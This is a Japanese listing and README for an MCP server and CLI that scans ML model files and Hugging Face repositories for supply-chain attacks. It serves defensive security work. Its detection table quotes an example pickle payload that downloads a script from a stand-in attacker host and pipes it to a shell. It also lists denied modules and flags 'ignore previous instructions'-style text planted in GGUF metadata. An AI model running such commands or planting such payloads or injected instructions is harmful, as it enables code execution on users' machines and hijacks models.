model-scanner について
model-scannerは、機械学習モデルのファイルやHugging Faceリポジトリのサプライチェーンリスクを調べるMCPサーバー兼コマンドラインツールです。多様な形式を解析し、大容量ファイルを丸ごと読み込まずに検査でき、CI/CD向けにSARIFを出力します。
主な機能
- 01pickle、PyTorch、joblib、NumPyファイルのスキャン
- 02safetensors、Keras、TensorFlow、ONNX、GGUFの検査
- 03固定コミットのHugging Faceリポジトリのスキャン
- 04危険なpickle参照や不正な構造の検出
- 05大容量ファイルの読み取り量を制限
- 06SARIF形式での検出結果の出力
活用シーン
- 01ダウンロードしたモデルを読み込む前の確認
- 02固定リビジョンのHugging Faceモデルのスキャン
- 03CI/CDへのモデルファイル検査の追加
MCP 対応
単一モデルファイル、ディレクトリ、Hugging Faceリポジトリのスキャンと、検出パターンの一覧表示を行うツールをMCPクライアントに公開します。
設定
ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。
ツール
3掲載時のツール一覧 · 6 日前に更新
| パラメーター | 型 | 必須 | 説明 |
|---|---|---|---|
| path | string | はい | モデルファイルの絶対パスまたは相対パス(.pt、.pth、.ckpt、.pkl、.pickle、.bin、.safetensors、.h5、.hdf5、.keras、.onnx) |
詳細
@guardbee/mcp-model-scanner
🇬🇧 英語 | 🇹🇷 トルコ語 | 🇨🇳 中国語 | 🇯🇵 日本語 | 🇰🇷 韓国語 | 🇧🇷 ポルトガル語 | 🇪🇸 スペイン語 | 🇩🇪 ドイツ語
ML モデルファイル自体をスキャンしてサプライチェーンリスクを検出する MCP(Model Context Protocol)サーバーです。ファイルを読み込むコードではなく、ファイルそのものを対象とします。
多くの「AI セキュリティ」ツールは、統合コードや、そのコードを通じてやり取りされるプロンプトを調べます。このパッケージは、Hugging Face、レジストリ、または S3 バケットからあなた(またはチームメイト、あるいは pip install)がダウンロードしたアーティファクトを調べます。または、コミットを指定して Hugging Face のリポジトリを直接調べます。.pt/.pth/.pkl/.joblib のチェックポイントはpickleファイルです。アンピックリングは単なるデータのデシリアライズではなく、ファイルの読み込み時に任意の Python コードを実行する可能性があります(torch.load()、pickle.load() など)。悪意のあるチェックポイントは、仮説上の脅威ではなく、実際に存在する、十分に記録された攻撃ベクトルです。
テレメトリーはデフォルトでオフです。
GUARDBEE_TELEMETRY=1を設定すると、サーバー、ツール、成功の有無、処理時間、およびファイルパスなど短いパラメーター値が送信されます。長い文字列や、content、token、passwordなどのフィールドはプレースホルダーに置き換えられます。詳細は@guardbee/mcp-telemetryを参照してください。
Claude ──► model-scanner ──► Your model files
│
├─ .pt / .pth / .ckpt → PyTorch zip container: extract data.pkl, walk the pickle
├─ .pkl / .pickle / .bin / .dill → raw pickle stream (dill gadgets included)
├─ .joblib / .jbl → pickle + the array bytes and nested pickles joblib embeds
├─ .npy / .npz → object arrays (pickled data), pickles disguised as NumPy
├─ .safetensors → header structure + disguised-binary check
├─ .h5 / .hdf5 / .keras → Keras Lambda-layer RCE (HDF5 and Keras 3 zip)
├─ .onnx → external_data path-traversal heuristic
├─ .gguf → header/tensor bounds, chat-template SSTI and injected text
├─ saved_model.pb / .pb / .pbtxt / .tflite → graph ops that touch files or Python
└─ hf://owner/repo@rev → every model file of a Hugging Face repo at one commit
pickle が中核である理由
pickle ストリームは、小さなスタック VM 用のバイトコードです。GLOBAL/STACK_GLOBAL オペコードは、インポート可能な Python オブジェクトを任意に指定でき、その直後のオペコードで通常はそのオブジェクトを呼び出します。巧妙に細工された pickle が、テンソル再構築関数の代わりに os.system や subprocess.Popen を指定するのを防ぐ仕組みはありません。pickle.load()/torch.load() はそれを問題なく解決して呼び出します。これは、picklescan/fickling/Hugging Face の Picklescan 統合などのツールが基盤としているのと同じ手法です。
このパッケージは、Python を呼び出したり正規表現を使ったりするのではなく、pickle マシンをゼロから実装しています(プロトコル 0~5)。オペコードストリームをバイト単位で走査し、何も呼び出さずにスタックとメモを追跡するため、プロトコル 4 以降の STACK_GLOBAL についても、NumPy 2 の pickle で行われるように、メモから取り出した文字列を含め、スタック上に実際にあるモジュールと名前を解決できます。生のバイト列に対する正規表現では、見落としや誤検出が頻発します。
joblib にも同じマシンが必要です。joblib.dump は、各 NumPy 配列の生バイト列(オブジェクト配列の場合は、ネストされた pickle 全体)を NumpyArrayWrapper の直後に書き込みます。スキャナーはスタックからラッパーの shape と dtype を読み取り、該当するバイト数だけ正確にスキップして、ネストされた pickle も確認します。
見つかったすべての GLOBAL/STACK_GLOBAL/INST 参照は、次の基準で確認されます。
- テンソルのデシリアライズ経路に正当な理由で現れることのないモジュールの拒否リスト(
os、subprocess、socket、builtins.eval、ctypesなど)→ critical/high として報告 - 実際の ML フレームワークが参照するモジュールの許可リスト(
numpy、torch、sklearn、collectionsなど)→ 安全と判断し、警告なし - それ以外 → medium(「悪意のある」ではなく「不明」——誤検出率を低く抑えつつ、手動レビューの対象とします)
PyTorch のデフォルトの ZIP ベースのチェックポイント形式では、スキャナーは Zip64 に対応した ZIP 中央ディレクトリをディスクから直接読み取り、小さな data.pkl メタデータエントリだけを特定して抽出します。数ギガバイトのチェックポイント全体がメモリに読み込まれることはありません。
特長
- 実際の pickle 解析 — 正規表現でも Python のサブプロセス呼び出しでもなく、スタックを追跡する pickle マシンを使用します
- 6 つのリスクカテゴリ(コード実行、プロセス実行、ネットワーク、ファイルシステム、リフレクション、デシリアライズ)にわたる 44 個の危険なグローバルルール。dill のコードオブジェクトおよびインポートガジェットも含みます
- PyTorch zip コンテナに対応(Zip64 を含む) — チェックポイント全体を読み込まずに
data.pklを抽出してスキャンします - joblib — 埋め込み配列を飛ばして、ファイル内のすべての pickle オペコードを走査します。ネストされたオブジェクト配列の pickle も含みます。zlib/gzip ダンプは展開されます
- NumPy
.npy/.npz— オブジェクト配列(pickle として保存され、allow_pickle=Trueで読み込まれるもの)と、NumPy 拡張子に変更された通常の pickle に対応します .safetensorsの構造検証 — 不正なヘッダーや範囲外のヘッダーを検出し、.safetensors拡張子を偽装した pickle/zip も検出します- Keras Lambda レイヤーの RCE —
.h5、Keras 3 の.keraszip、SavedModel のkeras_metadata.pbに対応します - ONNX
external_dataのパストラバーサルヒューリスティック - GGUF — ヘッダーのカウント、文字列と配列の長さ、テンソルの次元、型、データ範囲をファイルと照合して検証します。チャットテンプレートでは、Jinja サンドボックスの回避、隠し文字、モデルを標的とする指示をチェックします
- TensorFlow — SavedModel、凍結 GraphDef(
.pb/.pbtxt)、およびファイルの読み書き、Python の呼び出し、デバッグ URL へのテンソル送信を行う TFLite Flex 演算に対応します - Hugging Face リポジトリ —
scan_hf_repo/scan hf://owner/repo@revisionはリビジョンをコミットに解決し、そのコミットに含まれるすべてのモデルファイルをスキャンします - あらゆる箇所で読み取り範囲を制限します(pickle の先頭部分は 10MB、safetensors のヘッダー上限は 100MB、zip エントリーの上限は 50MB、GGUF と joblib は 4MB のウィンドウを通じて読み取ります)。展開爆弾への対策となり、巨大なモデルファイルでも OOM を起こしません
- SARIF 2.1.0 出力 — CI/CD との統合(GitHub Code Scanning など)
guardbee.ymlによる設定ファイルのサポート- すべての形式について悪意のあるフィクスチャと無害なフィクスチャを用いた 82 件の単体テストに加え、人気のある公開モデルを対象とした誤検知チェック
クイックスタート
Claude Desktop/MCP クライアント
{
"mcpServers": {
"guardbee-model-scanner": {
"command": "npx",
"args": ["-y", "@guardbee/mcp-model-scanner"]
}
}
}
CLI(CI/CD)
npx @guardbee/mcp-model-scanner scan ./models --fail-on=high --format=sarif > results.sarif
# A Hugging Face model repo at a pinned commit (branch, tag or sha; HF_TOKEN for gated/private repos)
npx @guardbee/mcp-model-scanner scan hf://openai-community/gpt2@607a30d783dfa663caf39e06633721c8d4cfcd7e
リポジトリモードでは、リビジョンをコミット SHA に解決し、そのコミットからすべてのファイルを読み取るため、結果は固定されたスナップショットを示します。検出箇所は hf://owner/repo@sha/path を指します。256 MB 以下のファイルは全体をダウンロードします。それより大きいファイルは先頭の 64 MB に加え、zip コンテナの場合は末尾の 64 MB(セントラルディレクトリ)もチェックします。ここには、チェック対象となるすべてのヘッダー、pickle ストリーム、テンソルテーブルが含まれます。
MCP ツール
| ツール | 説明 |
|---|---|
scan_file | 単一のモデルファイルをスキャンします |
scan_directory | モデルファイルのディレクトリを再帰的にスキャンします(saved_model.pb を通じた SavedModel のスキャンを含む) |
scan_hf_repo | 固定されたコミットにある Hugging Face モデルリポジトリのすべてのモデルファイルをスキャンします |
list_patterns | リスクカテゴリ別の危険なグローバルのカタログと、チェック対象の TensorFlow 演算を一覧表示します |
検出する内容
| 形式 | チェック内容 | 重大度 | 例 |
|---|---|---|---|
| pickle / PyTorch | os、posix、nt、subprocess、socket、ctypes、runpy、pty.spawn、platform.popen、commands への参照 | 重大 | os.system('curl evil.com/x | sh') |
| pickle / PyTorch | builtins.eval/exec/compile/__import__、pickle.loads、marshal.loads | 重大 | 再帰/入れ子のペイロード、または直接の eval |
| pickle / PyTorch | builtins.getattr/open、shutil.*、importlib.*、requests.*、webbrowser.open、urllib*.urlopen | 高 | 情報流出、SSRF、ファイルの読み取り/書き込み |
| safetensors | ヘッダーが長さではなく pickle/zip シグネチャで始まる | 重大 | .pkl の拡張子を .safetensors に変更したファイル |
| safetensors | テンソルの data_offsets が実際のデータセクションを超えている | 高 | 範囲外を読み取るパーサー |
| safetensors | ヘッダー長が無効/過大、またはヘッダーが JSON ではない | 高 | 破損したヘッダー、または悪意をもって細工されたヘッダー |
| Keras .h5/.keras/SavedModel | モデル設定内の class_name: "Lambda" | 重大 | 読み込み時にマーシャリングされた関数による RCE |
| ONNX | external_data の location に .. が含まれている | 高 | 任意のファイルへのパストラバーサル |
| dill | dill._dill._create_code/_create_function/_eval_repr | 重大 | 読み込み時に呼び出される、バイトコードから再構築された関数 |
| dill | dill._dill._import_module/_get_attr/_create_filehandle | 高 | os を指定せずに os.system に到達 |
| joblib | メインストリームまたは入れ子のオブジェクト配列 pickle 内にある、pickle のルールすべて | ルールに準じる | 実際の配列の後ろに隠されたペイロード |
| NumPy | オブジェクト dtype、または .npy 拡張子の pickle | 中/高 | np.load(..., allow_pickle=True) がそのファイルをアンピックルする |
| GGUF | Python 内部(__class__、__globals__、…)に到達するチャットテンプレート | 重大 | Jinja サンドボックスの回避(CVE-2024-34359) |
| GGUF | メタデータ内の隠し Unicode 文字、または「以前の指示を無視」といった形式のテキスト | 高 | あらゆる会話に注入される指示 |
| GGUF | ファイルと一致しないカウント、長さ、次元、またはテンソルの境界 | 高 | 未修正のローダーでのヒープオーバーフロー |
| TensorFlow | file:// への WriteFile / ReadFile / PyFunc / ファイルデータセット / PrintV2 | 重大~中 | サービングホストにアクセスするグラフ |
危険なグローバルの全カタログ:list_patterns ツールを実行するか、src/dangerousGlobals.ts を参照してください。
0.4 で追加されたルール ID
| ルール ID | 重大度 |
|---|---|
pickle_dangerous_global_dill__dill_*, pickle_dangerous_global_dill_dill_* | 重大/高 |
joblib_partial_scan, joblib_compressed_unsupported, joblib_compressed_too_large, joblib_decompress_failed, joblib_unrecognized | 低/中 |
numpy_object_array | 中 |
numpy_disguised_pickle | 高 |
numpy_bad_header, numpy_npz_unreadable | 中 |
numpy_npz_entry_unreadable, numpy_npz_partial_scan | 低 |
gguf_chat_template_ssti | 重大 |
gguf_metadata_injected_instructions, gguf_metadata_hidden_characters, gguf_malformed_header, gguf_tensor_out_of_bounds, gguf_bad_magic | 高 |
gguf_duplicate_tensor, gguf_tensor_misaligned | 中 |
gguf_chat_template_url, gguf_unknown_tensor_type, gguf_not_parsed | 低 |
tf_op_writefile | 重大 |
tf_op_readfile, tf_op_pyfunc, tf_op_pyfuncstateless, tf_op_eagerpyfunc | 高 |
tf_op_matchingfiles, tf_op_immutableconst, tf_op_*dataset*, tf_op_printv2, tf_op_debug* | 中 |
tf_saved_model_malformed, tflite_bad_identifier, keras_config_unreadable | 中 |
tf_graph_too_large | 低 |
SARIF 出力の形式は変わりません。各ルール ID は、従来どおり rules[] のエントリーになります。
公開モデルでの検証結果
2026-10-30 に scan hf://… でスキャンしました。これらのリポジトリで検出された項目はすべて記載しており、誤検出はありません。「部分スキャン」に関する低リスクの注記は、pickle、H5、ONNX のチェックで読み込む 10 MB の先頭部分より大きいファイルに起因します。
| Repo @ commit | 形式 | 検出結果 |
|---|---|---|
openai-community/gpt2@607a30d | PyTorch(旧式 pickle)、safetensors、H5、ONNX、TFLite | 低リスクの部分スキャンに関する注記 5 件 |
google-bert/bert-base-uncased@86b5e09 | PyTorch、safetensors、H5、ONNX | 低リスクの部分スキャンに関する注記 3 件 |
sentence-transformers/all-MiniLM-L6-v2@1110a24 | PyTorch、safetensors、H5、9 種類の ONNX バリアント | 低リスクの部分スキャンに関する注記 10 件 |
Qwen/Qwen2.5-0.5B-Instruct-GGUF@9217f5d | GGUF(fp16、K-quants を含む 9 種類の量子化) | なし |
bartowski/Llama-3.2-1B-Instruct-GGUF@067b946 | GGUF(IQ タイプを含む 18 種類の量子化) | 低リスクの注記 3 件:ggml から削除されたテンソル型 31~33 |
microsoft/Phi-3-mini-4k-instruct-gguf@a641133 | GGUF | なし |
keras-io/ocr-for-captcha@1d695c4 | SavedModel + keras_metadata.pb | なし |
keras-io/timeseries-anomaly-detection@5712601 | SavedModel。プロファイラーの .pb ファイルはグラフではないためスキップ | なし |
suno/bark-small@1dbd7a1 | PyTorch、話者プロンプト .npy 783 件 | なし |
julien-c/wine-quality@90ef3b7 | scikit-learn joblib | なし |
mcpotato/42-eicar-street@8fb61c4 | Hugging Face の悪意ある pickle のテストリポジトリ | model_broken_X.pkl:重大な builtins.exec(モデル拡張子を持つペイロードはこれのみ) |
これらは誤検出率を低く抑えるよう調整されたヒューリスティックによる検出結果です。特に HDF5 と ONNX は複雑なバイナリ/protobuf 形式であり、完全な構造解析ではなく、範囲を限定したテキストパターン検索でスキャンしています。検出結果はすべて確認してください。問題が検出されなかったからといって、正式な安全性が証明されたわけではありません。
設定(guardbee.yml)
model-scanner:
fail-on: high # any | critical | high | medium | low | none
max-files: 2000
exclude:
- "fixtures/"
制限事項(設計上のもの)
- 生の(ZIP ではない)pickle ストリームは先頭の 10 MB のみスキャンします(joblib ファイルは末尾まで走査します)。危険なグローバルは pickle ストリーム内でインスタンスより先に参照される必要があるため、この制限は、巨大なレガシーチェックポイント全体をメモリに読み込むこととの妥当なトレードオフです。
- ZIP の展開でサポートするのは STORED と DEFLATE のみです(PyTorch のデフォルトのチェックポイント形式に対応します)。
- HDF5/ONNX のチェックは範囲を限定した先頭部分のパターンに基づいており、完全な構造解析/protobuf 解析ではありません。
- bz2、xz、lzma、lz4 で圧縮された joblib ファイルは報告されますが、展開されません。GGUF v1 とビッグエンディアンの GGUF ファイルは報告されますが、解析されません。
- TFLite のチェックでは Flex デリゲートの演算名を探します。組み込みの TFLite 演算はテンソル計算のみです。
- GGUF の命令チェックでは、一般的なインジェクション表現と不可視文字を探します。巧妙に言い回された命令は検出をすり抜ける可能性があります。自分で構築していないモデルのチャットテンプレートは確認してください。
- このスキャンの対象はファイルであり、実行時の動作ではありません。コードの実行やサンドボックス化は行いません。
開発
npm run build
npm test # 82 unit tests
ライセンス
MIT — GuardBee
フィードバック
質問、アイデア、または誤検出がありますか?GitHub Discussionsでスレッドを開始するか、issue を作成してください。GuardBee が役に立った場合は、リポジトリに ⭐ を付けていただくと、ほかのユーザーにも見つけてもらいやすくなります。
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。